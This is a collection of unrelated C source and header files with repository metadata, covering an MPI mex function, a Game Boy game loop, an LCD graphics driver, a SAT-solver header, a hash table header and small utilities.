#include "stdio.h" #include "mpi.h" #include "mex.h" void mexFunction(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[]) { if((nlhs != 1 ) || (nrhs != 0)) { mexErrMsgTxt("call is q = mpi_basicinfo(), q=[size rank hostnamehash]"); } int size, bee; MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &bee); mwSize dims[2]; dims[0] = 3; dims[1] = 1; plhs[0] = mxCreateNumericArray(2, dims, mxDOUBLE_CLASS, mxREAL); double *d = mxGetPr(plhs[0]); d[0] = size; d[1] = bee; char *hn = calloc(255, sizeof(char)); gethostname(hn,255); int i; int *d0 = (int *)hn; int hash = 0; /* calculate a simple 4-byte hash of the hostname */ for(i = 0; i < 64; i++) { hash ^= *d0++; } d[2] = (double)hash; free(hn); }
49a4a4de87d1fc59444171a51701194b4897bba9
cad2c4e8b684add6b374ba5f7df5e519c140f9be
/Solution/gameConfiguration.c
7af9a573e760816400d3ee401d392e9aee8382ed
[]
no_license
ASGitH/game-Boy-Retro-Jam-2021
c1f2903d0733de90acc349bee234bf648e64a214
6a019b10bfecf5065252cc0535c3ec1047595f54
refs/heads/main
2023-06-04T16:25:27.439440
2021-06-22T01:27:49
2021-06-22T01:27:49
359,993,393
0
0
null
null
null
null
UTF-8
C
false
false
2,337
c
gameConfiguration.c
#include "gameConfiguration.h" #include "backgrounds/headsUpDisplayMB.h" #include "headsUpDisplay.h" #include "guard.h" #include "player.h" #include "projectile.h" #include "rand.h" #include "sprites/fontTD.h" struct player playerS; unsigned int seed = 0; void gameCoreLoop() { player_core_loop(&playerS); projectileCoreLoop(); guardCoreLoop(); updateHUD(); performatdelay(1); } void performatdelay(UINT8 numloops) { UINT8 i; for (i = 0; i < numloops; i++) { wait_vbl_done(); } } void screenTransition() { } void textLoadFont() { set_bkg_data(0, 49, (unsigned char *)fontSprites); UINT8 offset_x = 0; UINT8 offset_y = 0; UINT16 clearBackground = 0; char blankTile = ' '; for(clearBackground = 0; clearBackground < 360; clearBackground++) { set_bkg_tiles(offset_x, offset_y, 1, 1, (unsigned char *)blankTile); offset_x += 1; if(offset_x >= 20) { offset_x = 0; offset_y += 1; } } } void textPrintCharBkgOrWin(UINT8 x, UINT8 y, char bkgOrWin, unsigned char chr) { UINT8 tile = 46; if (chr >= 'a' && chr <= 'z') { tile = 1 + chr - 'a'; } else if (chr >= 'A' && chr <= 'Z') { tile = 1 + chr - 'A'; } else if (chr >= '0' && chr <= '9') { tile = 27 + chr - '0'; } else { switch (chr) { case ' ': tile = 0; break; case ':': tile = 41; break; case '!': tile = 42; break; case ')': tile = 45; break; } } if(bkgOrWin != 'b') { set_win_tiles(x, y, 1, 1, &tile); } else { set_bkg_tiles(x, y, 1, 1, &tile); } } void textPrintStringBkgOrWin(UINT8 x, UINT8 y, char bkgOrWin, unsigned char *string) { UINT8 offset_x = 0; UINT8 offset_y = 0; while (string[0]) { if (string[0] == '\n') { offset_x = 0; offset_y += 1; } else { textPrintCharBkgOrWin(x + offset_x, y + offset_y, bkgOrWin, (unsigned char) string[0]); offset_x += 1; } string += 1; } } void initializeGame() { textLoadFont(); initrand(seed); initializeHUD(); SHOW_BKG; SHOW_SPRITES; SHOW_WIN; DISPLAY_ON; } void initializeHUD() { set_win_tiles(0, 0, 20, 2, headsUpDisplayMap); move_win(7, 124); }
2fabeb89ee01f1c3f5d022b5d72501671e49752b
25c64fb97b7cdb30ec1b6ddd2acf9a755fc33adf
/src/probe.h
a3449198425a181d6833baf9e8facefc6f44bd51
[ "MIT" ]
permissive
arminbiere/kissat
386c1cfadf43562d36fccc47064c95296c9b812f
630d64d4d63c2816fc79a1a0340286b39677e97d
refs/heads/master
2023-09-04T01:39:44.293487
2023-06-24T15:51:43
2023-06-24T15:51:43
267,257,286
350
63
MIT
2022-06-23T12:15:24
2020-05-27T07:57:59
C
UTF-8
C
false
false
174
h
probe.h
#ifndef _probe_h_INCLUDED #define _probe_h_INCLUDED #include <stdbool.h> struct kissat; bool kissat_probing (struct kissat *); int kissat_probe (struct kissat *); #endif
745753547bdbda0384ad9a0c3379916359fb6d9c
cf71b4d06a8f94886e9d55fb07522c946cd64bb6
/dri.h
3b125f2f91d68c3208c9ef42bc1fb930f10dc9a6
[]
no_license
EvelynNamugwanya/git-tutorial
2413ad640a28cc943da3089d223d1fcc436c84ef
37adf4118bd87174866120bb41c0de73bfde85ce
refs/heads/master
2021-06-17T06:38:59.680546
2021-04-02T23:11:14
2021-04-02T23:11:14
187,850,908
0
0
null
null
null
null
UTF-8
C
false
false
460
h
dri.h
int DRI_Init(int *nargs, char ***args); int DRI_Finalize(); typedef struct DRI_Globaldata{ int ndims; int *a; int dimsizes[]; }DRI_Globaldata;/*created datatype DRI_Globaldata */ /* int DRI is initialized ();checks whether DRI has been initialized. If (it has been initialized ){return 1}else return 0;*/ //MPI uses int MPI_Initialized(int *flag) //int DRI_Overlap_create ( DRI_Overlaptype_ovrtype, unsigned int num_pos,DRI_Overlap *overlap);
b1edb02337ecbff4a6d866e5f4f94b7f2dfb360a
40b02e7af3c0844bc410964187590ad7ada80fde
/drivers/src/graphics.c
5f7c5b549252ec3c24b87a2e8b711f4fe17f32b3
[]
no_license
craneboard/craneboard-itbok
e1d2d25a8b9237444571923d8e89ee297b64a516
73002b184884ce41aa3ab11e89108d5957aeea2a
refs/heads/master
2021-01-19T03:19:33.239214
2010-11-22T08:56:17
2010-11-22T09:00:58
1,105,615
1
1
null
null
null
null
UTF-8
C
false
false
7,357
c
graphics.c
/* * graphics.c: Graphics driver. * * (C) Copyright 2010 * Mistral Solutions Private Limited, <www.mistralsolutions.com> * * Author : * Ganeshan <nganeshan@mistralsolutions.com> * * Derived from OMAP2EVM ITBOK. * * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA */ #include "types.h" #include "graphics.h" #define red(color) ((((color&0xf800)>>11)&0x001F)<<3) #define green(color) ((((color&0x07E0)>>5)&0x003F)<<2) #define blue(color) ((color&0x001f)<<3) #define _RGB(r,g,b) (((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3)) #define RGB16_BLACK 0x0000 #define RGB16_RED 0xf800 #define RGB16_GREEN 0x07e0 #define RGB16_BLUE 0x001f #define RGB16_WHITE 0xffff U16 lcd_height = 320; U16 lcd_width = 240; /***************************************************************************** fill_align_pattern - fill 4 colors in 4 quadrants of LCD. *****************************************************************************/ void fill_align_pattern(U16 * image_addr) { U16 xpixel; U16 ypixel; for (ypixel = 0; ypixel < lcd_height; ypixel++) { for (xpixel = 0; xpixel < lcd_width; xpixel++) { if (ypixel < (lcd_height / 2)) { if (xpixel < (lcd_width / 2)) { /*fill with blue color */ image_addr[ypixel * lcd_width + xpixel] = 0x001f; } else { /* fill with red color */ image_addr[ypixel * lcd_width + xpixel] = 0xf800; } } else { if (xpixel < (lcd_width / 2)) { /* fill with green color */ image_addr[ypixel * lcd_width + xpixel] = 0x07e0; } else { /* fill with yellow color */ image_addr[ypixel * lcd_width + xpixel] = 0xffe0; } } } } } /* end of fill_align_pattern */ /***************************************************************************** display_gradient - Display all possible colors within the given range. *****************************************************************************/ void display_gradient(U16 * image_addr, U16 clr_start, U16 clr_end) { float redscale = 0, greenscale = 0, bluescale = 0, number_of_colors = 0; U16 clr_red = 0, clr_green = 0, clr_blue = 0, clrpixel = 0; U16 x, y; U16 xleft, xright, ytop, ybottom; clr_red = red(clr_start); clr_green = green(clr_start); clr_blue = blue(clr_start); xleft = 0; xright = lcd_width; ytop = 0; ybottom = lcd_height; number_of_colors = xright - xleft; redscale = (float)(red(clr_end) - clr_red) / number_of_colors; greenscale = (float)(green(clr_end) - clr_green) / number_of_colors; bluescale = (float)(blue(clr_end) - clr_blue) / number_of_colors; for (x = xleft; x < xright; x++) { /* calculate the pixel color */ clrpixel = _RGB((U16) (clr_red + (S16) ((x - xleft) * redscale)), (U16) (clr_green + (S16) ((x - xleft) * greenscale)), (U16) (clr_blue + (S16) ((x - xleft) * bluescale))); /* draw vertical line with that color */ for (y = ytop; y < ybottom; y++) { image_addr[y * lcd_width + x] = clrpixel; } } } /* end of display_gradient */ /***************************************************************************** fill_each_bit - Display different color bands. *****************************************************************************/ void fill_each_bit(U16 * image_addr) { U16 xpixel; U16 ypixel, width = 0; width = lcd_width / 16; for (ypixel = 0; ypixel < lcd_height; ypixel++) { for (xpixel = 0; xpixel < lcd_width; xpixel++) { if (ypixel < (lcd_height / 2)) { image_addr[ypixel * lcd_width + xpixel] = (1 << (U16) (xpixel / width)); } else { image_addr[ypixel * lcd_width + xpixel] = ~(1 << (U16) (xpixel / width)); } } } } /* end of fill_each_bit */ /***************************************************************************** fill_color - Fill the entire frame buffer with the given color. ******************************************************************************/ void fill_color(U16 * image_addr, U16 color) { U16 xpixel; U16 ypixel; for (ypixel = 0; ypixel < lcd_height; ypixel++) { for (xpixel = 0; xpixel < lcd_width; xpixel++) { image_addr[ypixel * lcd_width + xpixel] = color; } } } /* end of fill_color */ /***************************************************************************** * * draw_horizontal_line - Draw a horizontal line at the given Y coordinate. * * RETURNS: 0 - always. */ S32 draw_horizontal_line(U16 * image_addr, S16 y, U16 color) { U16 x_pixel; U16 *ts_lcd_buf_ptr = image_addr; U16 pd_lcd_width = lcd_width; /* initialize frame buffer data */ for (x_pixel = 0; x_pixel < lcd_width; x_pixel++) { _PD_SETPIXEL(x_pixel, y, color); } return 0; } /* end of draw_horizontal_line */ /***************************************************************************** * * draw_vertical_line - Draw a verticle line at given X coorinate. * * RETURNS: 0 - always */ S32 draw_vertical_line(U16 * image_addr, S16 x, U16 color) { U16 y_pixel; U16 *ts_lcd_buf_ptr = image_addr; U16 pd_lcd_width = lcd_width; /* initialize frame buffer data */ for (y_pixel = 0; y_pixel < lcd_height; y_pixel++) { _PD_SETPIXEL(x, y_pixel, color); } return 0; } /* end of draw_vertical_line */ /***************************************************************************** * * pd_get_lcd_width - Get the width of the LCD *1 * RETURNS: Width of the LCD. */ U16 pd_get_lcd_width(void) { return lcd_width; } /* end of pd_get_lcd_width */ /***************************************************************************** * * pd_get_lcd_height - Get the height of the LCD * * RETURNS: Height of the LCD */ U16 pd_get_lcd_height(void) { return lcd_height; } /* end of pd_get_lcd_height */ /***************************************************************************** * * pd_set_image_size - Set the size of the image *1 * RETURNS: none. */ void pd_set_image_size(U16 width, U16 height) { lcd_width = width; lcd_height = height; } /* end of pd_set_image_size */ void fill_color_bar(U16 * image_addr) { int x, y; U16 *p = image_addr; for (y = 0; y < lcd_height / 2; y++) { for (x = 0; x < lcd_width; x++) { int c = (x * 8) / lcd_width; switch (c) { case 0: *p++ = RGB16_BLACK; break; case 1: *p++ = RGB16_BLUE; break; case 2: *p++ = RGB16_BLUE | RGB16_GREEN; break; case 3: *p++ = RGB16_GREEN; break; case 4: *p++ = RGB16_GREEN | RGB16_RED; break; case 5: *p++ = RGB16_RED; break; case 6: *p++ = RGB16_RED | RGB16_BLUE; break; default: *p++ = RGB16_WHITE; break; } } } for (y = 0; y < lcd_height / 2; y++) { for (x = 0; x < lcd_width; x++) { unsigned int b = (x * 64) / lcd_width; *p++ = (0x0801 * (b / 2) & 0xf81f) + (0x0020 * b); } } }
8f2c151976616d74337674afea9ca828c558bb92
2ecd8f007af95f28894c080b2d5498cfa72c8d6d
/src/include/mkp_hash.h
74510f6fc35cac03ebbf560a59931fc083d90edf
[]
no_license
ataomic/mkeeper
0e48d980061901be28e2b91a6bfe06e4b7108c53
f0453caa27611f198c8c4bb4c0aaa44e31675678
refs/heads/master
2021-01-19T03:55:11.056403
2017-09-23T08:25:55
2017-09-23T08:25:55
87,343,380
0
0
null
null
null
null
UTF-8
C
false
false
1,772
h
mkp_hash.h
#ifndef MKP_HASH_H #define MKP_HASH_H #include "mkp_pool.h" typedef struct mkp_hash_s { mkp_pool* pool; mkp_list* buckets; u32 size, count; } mkp_hash; #define mkp_hash_init(hash, mpool, bkt, sz) do { \ (hash)->pool = (mpool); \ (hash)->buckets = (bkt); \ (hash)->size = (bsz); \ (hash)->count = 0; \ } while(0) #define mkp_hash_obj_index(hash, obj) mkp_pool_obj_index((hash)->pool, obj) #define mkp_hash_obj_addr(hash, idx) mkp_pool_obj_addr((hash)->pool, idx) #define mkp_bucket(hash, p) \ ((hash)->buckets+(((unsigned long)p)%(hash)->size)) static __inline void mkp_hash_check_addr(mkp_table *table, u32 index, mkp_obj* obj) { return; } static __inline mkp_obj* mkp_bucket_find_obj(mkp_hash* hash, mkp_list* bucket, const void* p, mkp_obj** pre) { u32 i; mkp_obj *obj = NULL; *pre = NULL; i = bucket->next; while(i) { obj = mkp_hash_obj_addr(hash, i); if(!obj) { mkp_hash_check_addr(hash, i, obj); break; } if(obj->addr == p) return obj; *pre = obj; i = obj->next; } return obj; } static __inline mkp_obj* mkp_hash_find_obj(mkp_hash* hash, const void* p, mkp_obj** pre) { return mkp_bucket_find_obj(hash, mkp_bucket(hash, p), p, pre); } static __inline mkp_obj* mkp_hash_insert_obj(mkp_hash* hash, mkp_obj* obj) { mkp_list* bucket = mkp_bucket(hash, obj->addr); obj->next = bucket->next; bucket->next = mkp_hash_obj_index(hash, obj); } static __inline mkp_obj* mkp_hash_erase_obj(mkp_hash *hash, mkp_obj* old) { u32 i; mkp_obj *obj, *pre = NULL; mkp_list* bucket; bucket = mkp_bucket(hash, old->addr); i = bucket->next; while(i) { obj = mkp_hash_obj_addr(hash, i); if(obj == old) { mkp_list_erase(bucket, pre, old); return old; } pre = obj; i = obj->next; } return NULL; } #endif
2041a1e512ea44623353dda964f173e6f9dba2ce
1a0d5e40f6a767399b713ccb410b73d36aa905a8
/C09/ex00/ft_swap.c
4f28a72f4fa1cc58239585c4664b71cc7a54b5f7
[]
no_license
LIATIS/taeyoung
c920c14d61fa903b38b0f7eea5da192f1b6279b2
5d8f09b6040270186d48522430804b559fb90a26
refs/heads/master
2022-11-18T08:55:22.783296
2020-07-08T13:52:55
2020-07-08T13:52:55
266,785,088
0
0
null
null
null
null
UTF-8
C
false
false
983
c
ft_swap.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_swap.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tae-kim <tae-kim@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/05/30 08:43:12 by tae-kim #+# #+# */ /* Updated: 2020/05/30 09:08:42 by tae-kim ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> void ft_swap(int *a, int *b) { int c; c = *a; *a = *b; *b = c; }
7071c2aa35b053a6b3d56d49cd3deca70ba64653
1c0a68d26b3c9c6078cd6d9ee3f08fb3fb88d5be
/src/include/pmao_core.h
e6a59dcd741657b8027395be4a1b1b738827631d
[]
no_license
wangyq/C_Hello
7092d8f24789ddcb51145da57023d2922d3cf2fd
db06d306f4ef96e2691de97a4661cfaf1a318011
refs/heads/master
2021-01-01T04:29:54.687253
2017-03-09T07:08:38
2017-03-09T07:08:38
56,439,457
0
0
null
null
null
null
UTF-8
C
false
false
837
h
pmao_core.h
/* * pmao.h * * Created on: 2012-6-5 * Author: pmserver */ #ifndef PMAO_CORE_H_ #define PMAO_CORE_H_ #define S_OK 0 #define S_ERROR -1 #define MAX_CONF_FILE_LEN 256 //configuration file name! #define PMAO_CONF_FILE "conf/pmao.conf" #define PMAO_LOG_FILE "log/pmao.log" /** * */ typedef struct tagS_Global{ char pCurDir[MAX_CONF_FILE_LEN]; //working directory! char pConfFile[MAX_CONF_FILE_LEN]; //config file path, for example, "/srv/pmdo/pmao.conf" char pLogFile[MAX_CONF_FILE_LEN]; //log file path , for example: "/srv/pmao/pmao.log" int file_log_level ; //file_log_level int console_log_level; //console_log_level }S_GLOBAL; extern S_GLOBAL g_var; void pmao_init(int argc, const char* argv[]); void pmao_destroy(); #endif /* PMAO_CORE_H_ */